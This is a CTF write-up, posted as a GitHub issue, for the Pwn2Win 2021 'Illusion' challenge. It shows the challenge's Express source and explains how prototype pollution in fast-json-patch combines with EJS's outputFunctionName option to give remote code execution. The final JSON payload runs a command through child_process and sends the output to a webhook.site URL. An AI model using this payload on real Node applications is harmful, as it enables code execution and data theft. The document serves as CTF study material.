aszx87410 / ctf-writeups

ctf writeups

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

Pwn2Win CTF 2021 - Illusion

aszx87410 opened this issue · comments

commented

Illusion

Description

Laura just found a website used for monitoring security mechanisms on Rhiza's state and is planning to hack into it to forge the status of these security services. After that she will desactivate these security resources without alerting government agents. Your goal is to get into the server to change the monitoring service behavior.

截圖 2021-05-31 上午8 23 33

Source code:

const express = require('express')
const bodyParser = require('body-parser')
const jsonpatch = require('fast-json-patch')
const ejs = require('ejs')
const basicAuth = require('express-basic-auth')


const app = express()

// Middlewares //
app.use(bodyParser.json())
app.use(basicAuth({
    users: { "admin": process.env.SECRET || "admin" },
    challenge: true
}))

/////////////////

let services = {
    status: "online",
    cameras: "online",
    doors: "online",
    dome: "online",
    turrets: "online"
}

// Static folder
app.use("/static", express.static(__dirname + "/static"));

// Homepage
app.get("/", async (req, res) => {
    const html = await ejs.renderFile(__dirname + "/templates/index.ejs", {services})
    res.end(html)
})

// API
app.post("/change_status", (req, res) => {

    let patch = []

    Object.entries(req.body).forEach(([service, status]) => {

        if (service === "status"){
            res.status(400).end("Cannot change all services status")
            return
        }

        patch.push({
            "op": "replace",
            "path": "/" + service,
            "value": status
        })
    });

    jsonpatch.applyPatch(services, patch)

    if ("offline" in Object.values(services)){
        services.status = "offline"
    }

    res.json(services)
})

app.listen(1337, () => {
    console.log(`App listening at port 1337`)
})  

Writeup

There are two lines caught my eyes immediately: jsonpatch.applyPatch(services, patch) and ejs.renderFile(__dirname + "/templates/index.ejs", {services}).

From my experience, jsonpatch might have prototype pollution vulnerability. After googling a bit I found this open PR: Starcounter-Jack/JSON-Patch#262 and confirm that prototype pollution exists.

But what can we do with this? I googled: prototype pollution ejs ctf and found this useful article: From Prototype Pollution to RCE

We can use outputFunctionName to do RCE.

So just post this to /change_status and that's all, solved the challenge by googling!:

{
    "constructor/prototype/outputFunctionName": "a=1;const http=process.mainModule.require('https');const flag=process.mainModule.require('child_process').execSync('/readflag').toString();req=http.get(`https://webhook.site/844be20d-00d7-4696-88f9-1ffb5261b3e0?q=${flag}`);req.end();//"
}

thank!